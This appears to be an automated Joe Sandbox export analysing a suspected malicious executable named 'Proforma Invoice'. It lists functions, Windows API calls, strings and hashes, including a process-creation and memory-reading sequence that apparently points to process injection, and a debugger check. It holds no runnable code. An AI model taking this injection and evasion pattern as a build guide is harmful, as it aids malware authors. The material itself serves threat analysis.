Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction ID: 982ef4a7bde1f787f440b10a859b38867b4e0a47ed5d292134a67e5aed48e30e
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: 5A41B134A016459BDB28CEA9C8A0FFA7BA7EF45360B24817DE81587680DF70DD418B54

Function 006A4C70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006A4CBA

Strings

AU3!P/s, xrefs: 006A4CB4
EA06, xrefs: 006DD8CC

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove
String ID: AU3!P/s$EA06
API String ID: 4104443479-3623764935
Opcode ID: d05b2059ae66caeebfbc15caa581bb851a240441407b2aacf617e4e9de8e44f8
Instruction ID: dc983efe7ec31ca6d0d643d09084b0e2af750ced3b436050127414eccc083fa0
Opcode Fuzzy Hash: d05b2059ae66caeebfbc15caa581bb851a240441407b2aacf617e4e9de8e44f8
Instruction Fuzzy Hash: ED415E31A041586BDF21BB648C527FE7BA3DFC7300F284479EC869B382DEA45D458BA1

Function 006A7285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006DEA39
GetOpenFileNameW.COMDLG32(?), ref: 006DEA83

Part of subcall function 006A4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006A4743,?,?,006A37AE,?), ref: 006A4770

Part of subcall function 006C0791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 006C07B0

Strings

X, xrefs: 006DEA51

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 392165ba739fc257cd4218611c83d252c1a0856196222605ebad99b9e13eb767
Instruction ID: 533cfe1e82a3168a93229bf5ebdeca449a53b8bcab3a1c8b1e97e9ca05145038
Opcode Fuzzy Hash: 392165ba739fc257cd4218611c83d252c1a0856196222605ebad99b9e13eb767
Instruction Fuzzy Hash: 8A21C9719002489BCB51AF94CC45BEE7BFDAF49711F04405AE404BB341DFF859498FA5

Function 00708D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00708DAC
__fread_nolock.LIBCMT ref: 00708DC1

Strings

EA06, xrefs: 00708DF3

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: a5678fc9805fb5669b86261a1a3c549bf8e2e98af30ab4ebd961db121257957e
Instruction ID: d2e95fb719dc6d8dff0598a2d7e8f4fb25748d0080bf31bf0d2780c5715fdcef
Opcode Fuzzy Hash: a5678fc9805fb5669b86261a1a3c549bf8e2e98af30ab4ebd961db121257957e
Instruction Fuzzy Hash: 3301F971904218BEDB58CBA8CC16FFE7BF8DB15301F00429EF592D21C1E8B9E60887A0

Function 007098E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 007098F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0070990F

Strings

aut, xrefs: 00709909

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: e1ea0818d4cdeeb167aaecb4f9ecddf590328e6480e79b8b6eba840c5bdc0657
Instruction ID: afa1cf992886b67d7bba566326d189966f7c9307f5e959bc4e3fe074acac7676
Opcode Fuzzy Hash: e1ea0818d4cdeeb167aaecb4f9ecddf590328e6480e79b8b6eba840c5bdc0657
Instruction Fuzzy Hash: 34D05E7954030DABDB60ABA0DC0EFDA777CE704701F0042B1FE54D11A1EAB5A5998BA5

Function 0071CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa3d70124545276806378a4aea55a83140859c9d33f69cffd588be1a676ebd7b
Instruction ID: 1a642bd10450fe11baf17b74b22a7b4df7a1a252161096daf6940e9e108b5a02
Opcode Fuzzy Hash: aa3d70124545276806378a4aea55a83140859c9d33f69cffd588be1a676ebd7b
Instruction Fuzzy Hash: FDF13671608300DFCB14DF68C485A6ABBE5FF89314F14892EF8999B291D734E945CF92

Function 006A434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006A4370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 006A4415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 006A4432

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 68a3e2a8b2c52f28ed2fcb977a3ed36daa9de79bb96010a531d4858bf7c3e775
Instruction ID: f693e9baf4b779d192c3cb6e115644c3f06606e5935358fa851e6f5c7db61221
Opcode Fuzzy Hash: 68a3e2a8b2c52f28ed2fcb977a3ed36daa9de79bb96010a531d4858bf7c3e775
Instruction Fuzzy Hash: 4D31AEB0504701CFC760EF24D88469BBBF8FB99308F00492EE58A82351EBB4A944CF96

Function 006C571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 006C5733

Part of subcall function 006CA16B: __NMSG_WRITE.LIBCMT ref: 006CA192
Part of subcall function 006CA16B: __NMSG_WRITE.LIBCMT ref: 006CA19C

__NMSG_WRITE.LIBCMT ref: 006C573A

Part of subcall function 006CA1C8: GetModuleFileNameW.KERNEL32(00000000,007633BA,00000104,?,00000001,00000000), ref: 006CA25A
Part of subcall function 006CA1C8: ___crtMessageBoxW.LIBCMT ref: 006CA308

Part of subcall function 006C309F: ___crtCorExitProcess.LIBCMT ref: 006C30A5
Part of subcall function 006C309F: ExitProcess.KERNEL32 ref: 006C30AE

Part of subcall function 006C8B28: __getptd_noexit.LIBCMT ref: 006C8B28

RtlAllocateHeap.NTDLL(01190000,00000000,00000001,00000000,?,?,?,006C0DD3,?), ref: 006C575F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: c2576eea2f9b4822b7a072baee4295e362812ad6b0687433fcbd1c6e22c8b9fc
Instruction ID: b3d103d363aecff5dbb981fee05772c0172cfdcf53922b7acfe23c069a2c33ed
Opcode Fuzzy Hash: c2576eea2f9b4822b7a072baee4295e362812ad6b0687433fcbd1c6e22c8b9fc
Instruction Fuzzy Hash: C301D231200B11DEDA602774AC46F7E734ADB42761F50002EF407AB281DFB4ACC18679

Function 007098A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00709548,?,?,?,?,?,00000004), ref: 007098BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00709548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 007098D1
CloseHandle.KERNEL32(00000000,?,00709548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 007098D8

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: ff2ebabbf91cb7a25e24c2df6b7943bbccee2bf6b65dccbb1de337b81329bc29
Instruction ID: f0e2c7ee4b8d6fa5fb431912a5bcf9c2397746f663d42291d7175ed051e6909c
Opcode Fuzzy Hash: ff2ebabbf91cb7a25e24c2df6b7943bbccee2bf6b65dccbb1de337b81329bc29
Instruction Fuzzy Hash: 53E08632141218F7D7311B54EC0AFCA7F69AB06760F10C230FB14690E1C7B51522979C

Function 00708D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00708D1B

Part of subcall function 006C2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,006C9A24), ref: 006C2D69
Part of subcall function 006C2D55: GetLastError.KERNEL32(00000000,?,006C9A24), ref: 006C2D7B

_free.LIBCMT ref: 00708D2C
_free.LIBCMT ref: 00708D3E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e92dce40d9500f9ac2a34e83b90a716ef22a9282606ba49fbfd8bfa905bb999e
Instruction ID: 58757f1e6e15e11634bc1d5bfe0afa948775e9ee7bf428a30f55baf3e4a991ec
Opcode Fuzzy Hash: e92dce40d9500f9ac2a34e83b90a716ef22a9282606ba49fbfd8bfa905bb999e
Instruction Fuzzy Hash: E4E012E171160287CBA4A5B8A940FA333DDCF6C3527140B2DF84ED71C6CE68F842812C

Function 006AA9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 006DFC01

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 16234a8842e5d7e3e203e0856c3fde1020a88728111aa1a3636a87846b662420
Instruction ID: db0928cc73dba7bd86a251b53a782ff69781a82bf3032f772adeb1a4aa639bfd
Opcode Fuzzy Hash: 16234a8842e5d7e3e203e0856c3fde1020a88728111aa1a3636a87846b662420
Instruction Fuzzy Hash: 76224970508341DFD724EF54C494A6AB7E2BF8A304F14896EE88A8B362D735ED45CF86

Function 006A47D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 006A4834

Part of subcall function 006C336C: __lock.LIBCMT ref: 006C3372
Part of subcall function 006C336C: DecodePointer.KERNEL32(00000001,?,006A4849,006F7C74), ref: 006C337E
Part of subcall function 006C336C: EncodePointer.KERNEL32(?,?,006A4849,006F7C74), ref: 006C3389

Part of subcall function 006A48FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 006A4915
Part of subcall function 006A48FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 006A492A

Part of subcall function 006A3B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 006A3B68
Part of subcall function 006A3B3A: IsDebuggerPresent.KERNEL32 ref: 006A3B7A
Part of subcall function 006A3B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,007652F8,007652E0,?,?), ref: 006A3BEB
Part of subcall function 006A3B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 006A3C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 006A4874

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: ec750a4ce5dc11dd8178311cb7587189eb0873e517854e528e7ffe92aeadfd3c
Instruction ID: 4a69eb790234958144161a3d7444c207b19a6d055842927d31429e7740843159
Opcode Fuzzy Hash: ec750a4ce5dc11dd8178311cb7587189eb0873e517854e528e7ffe92aeadfd3c
Instruction Fuzzy Hash: B0116A719083519FC700EF28E80591ABFE9FB89750F10892EF045832A1DBB89A45CB9A

Function 006A5C99 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,006A5821,?,?,?,?), ref: 006A5CC7
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,006A5821,?,?,?,?), ref: 006DDD73

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1957a9ee6981e1e5c9c5062ba2010b3cfe83e5b507e9e42a6856671f56e44e59
Instruction ID: 32c19bc70deb640d15347eb33e3e613c2586a0ac0dfa21c321873f94070f36c2
Opcode Fuzzy Hash: 1957a9ee6981e1e5c9c5062ba2010b3cfe83e5b507e9e42a6856671f56e44e59
Instruction Fuzzy Hash: C9018471284718BEF7246E24CD8AFB636DDAB02778F108319BAD69A2E0C6B41C458F54

Function 006C0DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006C571C: __FF_MSGBANNER.LIBCMT ref: 006C5733
Part of subcall function 006C571C: __NMSG_WRITE.LIBCMT ref: 006C573A
Part of subcall function 006C571C: RtlAllocateHeap.NTDLL(01190000,00000000,00000001,00000000,?,?,?,006C0DD3,?), ref: 006C575F

std::exception::exception.LIBCMT ref: 006C0DEC
__CxxThrowException@8.LIBCMT ref: 006C0E01

Part of subcall function 006C859B: RaiseException.KERNEL32(?,?,?,00759E78,00000000,?,?,?,?,006C0E06,?,00759E78,?,00000001), ref: 006C85F0

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 42be5edbebdf7285912e81bc2f075b0fe8f89a2cd17fad3ef1941440226e6e2c
Instruction ID: 5025d2d6bd16b77879a7b73faef90aa592e328a93a626f01155452025e88776e
Opcode Fuzzy Hash: 42be5edbebdf7285912e81bc2f075b0fe8f89a2cd17fad3ef1941440226e6e2c
Instruction Fuzzy Hash: 7CF0867150031AA6EB14AA94EC05FFE77AEDF05311F10442DF90996242DFB0AA8185D5

Function 006C55FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 006C562C
__lock_file.LIBCMT ref: 006C564D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: bb864ef2f878175a4558ffbd887b3fe2a03ac4f69c6b4a71a24267efd51ea884
Instruction ID: dc74dadb340841a384cb9881347c86c5b5ecbe2e624f15452fdf59ed6d34291b
Opcode Fuzzy Hash: bb864ef2f878175a4558ffbd887b3fe2a03ac4f69c6b4a71a24267efd51ea884
Instruction Fuzzy Hash: C301D471800608AFCF62AF698C02EFE7B63EF91321F40411DF8251B2A1DB319A91DF95

Function 006C53A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006C8B28: __getptd_noexit.LIBCMT ref: 006C8B28

__lock_file.LIBCMT ref: 006C53EB

Part of subcall function 006C6C11: __lock.LIBCMT ref: 006C6C34

__fclose_nolock.LIBCMT ref: 006C53F6

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 16ef76c693f91221d278c95d605bdfbf959d21e2187c588507556385ac8b95ef
Instruction ID: 371ef0265748b228909b6d5f2b5351af06ac63566680dc09508c8f3dcaa0d070
Opcode Fuzzy Hash: 16ef76c693f91221d278c95d605bdfbf959d21e2187c588507556385ac8b95ef
Instruction Fuzzy Hash: C2F0F631900A409ED7606B648C01FBD66E2EF41370F20820CA429AB1C1EBFCA9825B59

Function 01E5129D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01E51ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01E51AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01E51B13

Memory Dump Source

Source File: 00000000.00000002.1769483837.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_Proforma Invoice.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction ID: 901cf9f8cac9fdaaf1928d539c783de78a42d5e5aa8d9ca8f3299c0a2bf52ebc
Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
Instruction Fuzzy Hash: 6412CE24E14658C6EB24DF64D8507DEB232EF68300F10A4E9910DEB7A5E77A4F81CB5A

Function 006B1FC3 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00e8777f326f6e6763e27a9b78b87e79e926528d3c1abab5a98db4f7aee92028
Instruction ID: b0d5594c5fbdea1a24027ac6236dc819d4b2e1bb2b7047c4b341e745b7727cd4
Opcode Fuzzy Hash: 00e8777f326f6e6763e27a9b78b87e79e926528d3c1abab5a98db4f7aee92028
Instruction Fuzzy Hash: 10517B71600604ABCF54FB68C995EAE77A7AF86310F14856CF906AB392DA30ED01CB59

Function 006A5AEE Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 006A5B96

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9acdd496d63828723820bc89da77996313a25cbdedfa715b76b7eb407e760a42
